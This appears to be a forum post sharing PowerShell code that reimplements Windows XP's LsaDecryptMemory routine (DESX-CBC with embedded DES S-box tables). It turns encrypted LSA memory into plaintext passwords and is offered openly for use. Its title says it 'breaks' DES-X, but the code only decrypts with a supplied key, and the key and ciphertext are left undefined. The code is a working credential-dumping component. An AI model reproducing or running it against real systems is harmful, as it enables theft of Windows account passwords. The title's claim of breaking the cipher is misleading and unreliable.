How to break DES-X with PowerShell ?

Hi !

Here's my code to break DES-X with PowerShell :

$sboxul = New-Object 'object[,]' 8,64

$string = "0x02080800,0x00080000,0x02000002,0x02080802,0x02000000,0x00080802,0x00080002,0x02000002,0x00080802,0x02080800,0x02080000,0x00000802,0x02000802,0x02000000,0x00000000,0x00080002,0x00080000,0x00000002,0x02000800,0x00080800,0x02080802,0x02080000,0x00000802,0x02000800,0x00000002,0x00000800,0x00080800,0x02080002,0x00000800,0x02000802,0x02080002,0x00000000,0x00000000,0x02080802,0x02000800,0x00080002,0x02080800,0x00080000,0x00000802,0x02000800,0x02080002,0x00000800,0x00080800,0x02000002,0x00080802,0x00000002,0x02000002,0x02080000,0x02080802,0x00080800,0x02080000,0x02000802,0x02000000,0x00000802,0x00080002,0x00000000,0x00080000,0x02000000,0x02000802,0x02080800,0x00000002,0x02080002,0x00000800,0x00080802"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[0,$j] = $s

    $j++

}

$string = "0x40108010,0x00000000,0x00108000,0x40100000,0x40000010,0x00008010,0x40008000,0x00108000,0x00008000,0x40100010,0x00000010,0x40008000,0x00100010,0x40108000,0x40100000,0x00000010,0x00100000,0x40008010,0x40100010,0x00008000,0x00108010,0x40000000,0x00000000,0x00100010,0x40008010,0x00108010,0x40108000,0x40000010,0x40000000,0x00100000,0x00008010,0x40108010,0x00100010,0x40108000,0x40008000,0x00108010,0x40108010,0x00100010,0x40000010,0x00000000,0x40000000,0x00008010,0x00100000,0x40100010,0x00008000,0x40000000,0x00108010,0x40008010,0x40108000,0x00008000,0x00000000,0x40000010,0x00000010,0x40108010,0x00108000,0x40100000,0x40100010,0x00100000,0x00008010,0x40008000,0x40008010,0x00000010,0x40100000,0x00108000"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[1,$j] = $s

    $j++

}

$string = "0x04000001,0x04040100,0x00000100,0x04000101,0x00040001,0x04000000,0x04000101,0x00040100,0x04000100,0x00040000,0x04040000,0x00000001,0x04040101,0x00000101,0x00000001,0x04040001,0x00000000,0x00040001,0x04040100,0x00000100,0x00000101,0x04040101,0x00040000,0x04000001,0x04040001,0x04000100,0x00040101,0x04040000,0x00040100,0x00000000,0x04000000,0x00040101,0x04040100,0x00000100,0x00000001,0x00040000,0x00000101,0x00040001,0x04040000,0x04000101,0x00000000,0x04040100,0x00040100,0x04040001,0x00040001,0x04000000,0x04040101,0x00000001,0x00040101,0x04000001,0x04000000,0x04040101,0x00040000,0x04000100,0x04000101,0x00040100,0x04000100,0x00000000,0x04040001,0x00000101,0x04000001,0x00040101,0x00000100,0x04040000"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[2,$j] = $s

    $j++

}

$string = "0x00401008,0x10001000,0x00000008,0x10401008,0x00000000,0x10400000,0x10001008,0x00400008,0x10401000,0x10000008,0x10000000,0x00001008,0x10000008,0x00401008,0x00400000,0x10000000,0x10400008,0x00401000,0x00001000,0x00000008,0x00401000,0x10001008,0x10400000,0x00001000,0x00001008,0x00000000,0x00400008,0x10401000,0x10001000,0x10400008,0x10401008,0x00400000,0x10400008,0x00001008,0x00400000,0x10000008,0x00401000,0x10001000,0x00000008,0x10400000,0x10001008,0x00000000,0x00001000,0x00400008,0x00000000,0x10400008,0x10401000,0x00001000,0x10000000,0x10401008,0x00401008,0x00400000,0x10401008,0x00000008,0x10001000,0x00401008,0x00400008,0x00401000,0x10400000,0x10001008,0x00001008,0x10000000,0x10000008,0x10401000"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[3,$j] = $s

    $j++

}

$string = "0x08000000,0x00010000,0x00000400,0x08010420,0x08010020,0x08000400,0x00010420,0x08010000,0x00010000,0x00000020,0x08000020,0x00010400,0x08000420,0x08010020,0x08010400,0x00000000,0x00010400,0x08000000,0x00010020,0x00000420,0x08000400,0x00010420,0x00000000,0x08000020,0x00000020,0x08000420,0x08010420,0x00010020,0x08010000,0x00000400,0x00000420,0x08010400,0x08010400,0x08000420,0x00010020,0x08010000,0x00010000,0x00000020,0x08000020,0x08000400,0x08000000,0x00010400,0x08010420,0x00000000,0x00010420,0x08000000,0x00000400,0x00010020,0x08000420,0x00000400,0x00000000,0x08010420,0x08010020,0x08010400,0x00000420,0x00010000,0x00010400,0x08010020,0x08000400,0x00000420,0x00000020,0x00010420,0x08010000,0x08000020"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[4,$j] = $s

    $j++

}

$string = "0x80000040,0x00200040,0x00000000,0x80202000,0x00200040,0x00002000,0x80002040,0x00200000,0x00002040,0x80202040,0x00202000,0x80000000,0x80002000,0x80000040,0x80200000,0x00202040,0x00200000,0x80002040,0x80200040,0x00000000,0x00002000,0x00000040,0x80202000,0x80200040,0x80202040,0x80200000,0x80000000,0x00002040,0x00000040,0x00202000,0x00202040,0x80002000,0x00002040,0x80000000,0x80002000,0x00202040,0x80202000,0x00200040,0x00000000,0x80002000,0x80000000,0x00002000,0x80200040,0x00200000,0x00200040,0x80202040,0x00202000,0x00000040,0x80202040,0x00202000,0x00200000,0x80002040,0x80000040,0x80200000,0x00202040,0x00000000,0x00002000,0x80000040,0x80002040,0x80202000,0x80200000,0x00002040,0x00000040,0x80200040"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[5,$j] = $s

    $j++

}

$string = "0x00004000,0x00000200,0x01000200,0x01000004,0x01004204,0x00004004,0x00004200,0x00000000,0x01000000,0x01000204,0x00000204,0x01004000,0x00000004,0x01004200,0x01004000,0x00000204,0x01000204,0x00004000,0x00004004,0x01004204,0x00000000,0x01000200,0x01000004,0x00004200,0x01004004,0x00004204,0x01004200,0x00000004,0x00004204,0x01004004,0x00000200,0x01000000,0x00004204,0x01004000,0x01004004,0x00000204,0x00004000,0x00000200,0x01000000,0x01004004,0x01000204,0x00004204,0x00004200,0x00000000,0x00000200,0x01000004,0x00000004,0x01000200,0x00000000,0x01000204,0x01000200,0x00004200,0x00000204,0x00004000,0x01004204,0x01000000,0x01004200,0x00000004,0x00004004,0x01004204,0x01000004,0x01004200,0x01004000,0x00004004"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[6,$j] = $s

    $j++

}

$string = "0x20800080,0x20820000,0x00020080,0x00000000,0x20020000,0x00800080,0x20800000,0x20820080,0x00000080,0x20000000,0x00820000,0x00020080,0x00820080,0x20020080,0x20000080,0x20800000,0x00020000,0x00820080,0x00800080,0x20020000,0x20820080,0x20000080,0x00000000,0x00820000,0x20000000,0x00800000,0x20020080,0x20800080,0x00800000,0x00020000,0x20820000,0x00000080,0x00800000,0x00020000,0x20000080,0x20820080,0x00020080,0x20000000,0x00000000,0x00820000,0x20800080,0x20020080,0x20020000,0x00800080,0x20820000,0x00000080,0x00800080,0x20020000,0x20820080,0x00800000,0x20800000,0x20000080,0x00820000,0x00020080,0x20020080,0x20800000,0x00000080,0x20820000,0x00820080,0x00000000,0x20000000,0x20800080,0x00020000,0x00820080"

$string = $string -split ","

$j=0

foreach($s in $string){

    $sboxul[7,$j] = $s

    $j++

}

function rol ($val, $r_bits, $max_bits) {       

    return (($val -shl ($r_bits % $max_bits)) -band ([math]::Pow(2,$max_bits)-1) -bor ($val -band ([math]::Pow(2,$max_bits)-1)) -shr ($max_bits-($r_bits % $max_bits)))       

}

  

function ror ($val, $r_bits, $max_bits) {      

    return ((($val -band ([math]::Pow(2,$max_bits)-1)) -shr $r_bits % $max_bits) -bor ($val -shl ($max_bits-($r_bits % $max_bits)) -band ([math]::Pow(2,$max_bits)-1)))       

}

function loop($des_key, $dst, $src, $ecx, $round){

    $eax = $des_key.Substring($round*8,4)

    $edx = $des_key.Substring($round*8+4,4)

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);

    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);

    $ebx = 0

    $eax = $eax -bxor $src

    $edx = $edx -bxor $src

    $eax = $eax -band "0x0FCFCFCFC"

    $edx = $edx -band "0x0CFCFCFCF"

    $ebx = ($ebx -band "0xFFFFFF00") -bor ($eax -band "0x000000FF")

    $ecx = ($ecx -band "0xFFFFFF00") -bor (($eax -band "0x0000FF00") -shr 8)

    $edx = ror $edx 4 32

    $ebp = [Convert]::ToInt64(($sboxul[0,($ebx -shr 2)]),16)

    $ebx = ($ebx -band "0xFFFFFF00") -bor ($edx -band "0x000000FF")

    $dst = $dst -bxor $ebp

    $ebp = [Convert]::ToInt64(($sboxul[2,($ecx -shr 2)]),16)

    $dst = $dst -bxor $ebp

    $ecx = ($ecx -band "0xFFFFFF00") -bor (($edx -band "0x0000FF00") -shr 8)

    $eax = $eax -shr "0x10"

    $ebp = [Convert]::ToInt64(($sboxul[1,($ebx -shr 2)]),16)

    $dst = $dst -bxor $ebp

    $ebx = ($ebx -band "0xFFFFFF00") -bor (($eax -band "0x0000FF00") -shr 8)

    $edx = $edx -shr "0x10"

    $ebp = [Convert]::ToInt64(($sboxul[3,($ecx -shr 2)]),16)

    $dst = $dst -bxor $ebp

    $ecx = ($ecx -band "0xFFFFFF00") -bor (($edx -band "0x0000FF00") -shr 8)

    $eax = $eax -band "0xFF"

    $edx = $edx -band "0xFF"

    $ebx = [Convert]::ToInt64(($sboxul[6,($ebx -shr 2)]),16)

    $dst = $dst -bxor $ebx

    $ebx = [Convert]::ToInt64(($sboxul[7,($ecx -shr 2)]),16)

    $dst = $dst -bxor $ebx

    $ebx = [Convert]::ToInt64(($sboxul[4,($eax -shr 2)]),16)

    $dst = $dst -bxor $ebx

    $ebx = [Convert]::ToInt64(($sboxul[5,($edx -shr 2)]),16)

    $dst = $dst -bxor $ebx

    return $dst,$ecx   

}

function decrypt($des_key128,$encrypted){

    $esi = $encrypted   

    $eax = $esi.Substring(0,4)

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);   

    $edi = $esi.Substring(4)

    $edi = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edi),0);

    $eax = rol $eax "4" 32

    $esi = $eax

    $eax = $eax -bxor $edi

    $eax = $eax -band "0x0F0F0F0F0"

    $esi = $esi -bxor $eax

    $edi = $edi -bxor $eax

    $edi = rol $edi "0x14" 32

    $eax = $edi

    $edi = $edi -bxor $esi

    $edi = $edi -band "0x0FFF0000F"

    $eax = $eax -bxor $edi

    $esi = $esi -bxor $edi

    $eax = rol $eax "0x0e" 32

    $edi = $eax

    $eax = $eax -bxor $esi

    $eax = $eax -band "0x33333333"

    $edi = $edi -bxor $eax

    $esi = $esi -bxor $eax

    $esi = rol $esi "0x16" 32

    $eax = $esi

    $esi = $esi -bxor $edi

    $esi = $esi -band "0x3FC03FC"

    $eax = $eax -bxor $esi

    $edi = $edi -bxor $esi

    $eax = rol $eax "0x9" 32

    $esi = $eax

    $eax = $eax -bxor $edi

    $eax = $eax -band "0x0AAAAAAAA"

    $esi = $esi -bxor $eax   

    $edi = $edi -bxor $eax

    $edi = rol $edi "0x1" 32

    $ecx = 0

    $round = 15

    while($round -gt 0) {

        $edi, $ecx = loop $des_key128 $edi $esi $ecx $round

        $ind = $round - 1

        $esi, $ecx = loop $des_key128 $esi $edi $ecx $ind 

        $round = $round - 2

    }   

    $esi = ror $esi 1 32

    $eax = $edi

    $edi = $edi -bxor $esi

    $edi = $edi -band "0x0AAAAAAAA"

    $eax = $eax -bxor $edi

    $esi = $esi -bxor $edi

    $eax = rol $eax "0x17" 32

    $edi = $eax

    $eax = $eax -bxor $esi

    $eax = $eax -band "0x3FC03FC"

    $edi = $edi -bxor $eax

    $esi = $esi -bxor $eax

    $edi = rol $edi "0x0A" 32

    $eax = $edi

    $edi = $edi -bxor $esi

    $edi = $edi -band "0x33333333"

    $eax = $eax -bxor $edi

    $esi = $esi -bxor $edi

    $esi = rol $esi "0x12" 32

    $edi = $esi

    $esi = $esi -bxor $eax

    $esi = $esi -band "0x0FFF0000F"

    $edi = $edi -bxor $esi

    $eax = $eax -bxor $esi

    $edi = rol $edi "0x0C" 32

    $esi = $edi

    $edi = $edi -bxor $eax

    $edi = $edi -band "0x0F0F0F0F0"

    $esi = $esi -bxor $edi

    $eax = $eax -bxor $edi

    $eax = ror $eax 4 32

    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")

    $eax = $encoding.GetString([BitConverter]::GetBytes($eax))

    $esi = $encoding.GetString([BitConverter]::GetBytes($esi))

    return $eax,$esi

}

function XP_DESX($desx_key,$encrypted){

    $eax = $encrypted.Substring(0,4)

    $esi = $encrypted.Substring(4,4)

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);

    $esi = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($esi),0);

    $ecx = $desx_key.Substring(8,4)

    $edx = $desx_key.Substring(12,4)

    $ecx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ecx),0);

    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);

    $ecx = $ecx -bxor $eax

    $edx = $edx -bxor $esi   

    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")

    $ecx = $encoding.GetString([BitConverter]::GetBytes($ecx))

    $edx = $encoding.GetString([BitConverter]::GetBytes($edx))

    $enc_64 = $ecx + $edx

    $des_key128 = $desx_key.Substring(16,128)

    $decrypted,$decrypted2 = decrypt $des_key128 $enc_64   

    $ecx = $desx_key.Substring(0,4)

    $ebx = $desx_key.Substring(4,4)

    $ecx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ecx),0);

    $ebx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($ebx),0);

    $edx = $decrypted   

    $eax = $decrypted2   

    $edx = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($edx),0);

    $eax = [BitConverter]::ToUInt32([Text.Encoding]::Default.GetBytes($eax),0);   

    $edx = $edx -bxor $ecx

    $eax = $eax -bxor $ebx  

    $encoding = [System.Text.Encoding]::GetEncoding("windows-1252")

    $edx = $encoding.GetString([BitConverter]::GetBytes($edx))

    $eax = $encoding.GetString([BitConverter]::GetBytes($eax))   

    return $edx,$eax

}

function XP_CBC_DESX($encrypted, $desx_key, $feedback) {

    $decrypted,$decrypted2 = XP_DESX $desx_key $encrypted

    $decrypted = $decrypted + $decrypted2

    $decrypted_temp = [BitConverter]::ToUInt64([Text.Encoding]::Default.GetBytes($decrypted),0);

    $decrypted_temp2 = [BitConverter]::ToUInt64([Text.Encoding]::Default.GetBytes($feedback),0);

    $decrypted_temp = $decrypted_temp -bxor $decrypted_temp2   

    $decrypted = [BitConverter]::GetBytes($decrypted_temp);

    $feedback = $encrypted

    return $decrypted,$feedback

}

function XP_LsaDecryptMemory($DESXKeyHex, $g_Feedback, $cipherToDecrypt) {

    $desx_key = $DESXKeyHex

    $feedback = $g_Feedback

    $measureObject = $cipherToDecrypt | Measure-Object -Character

    $count = $measureObject.Characters

    $measureObject = $g_Feedback | Measure-Object -Character

    $countFeed = $measureObject.Characters   

    $decrypted = ''           

    $count = $count -shr 3

    $i = 0   

    while($i -lt $count) {        

        $decrypted8, $feedback = XP_CBC_DESX $cipherToDecrypt.Substring($i*8,8) $desx_key $feedback

        $decrypted += $decrypted8

        $i++

    }

    return $decrypted   

}

$passwordDec = XP_LsaDecryptMemory $DESXKeyHex $g_Feedback $cipherToDecrypt

$passwordDecSplitted = $passwordDec -split " "

$passwordDecSplitted = $passwordDecSplitted -replace " ",""

$password = ""

foreach($letter in $passwordDecSplitted){

if([int]$letter -lt 98182){

$password = $password + [char][int]$letter

}

}   

Enjoy !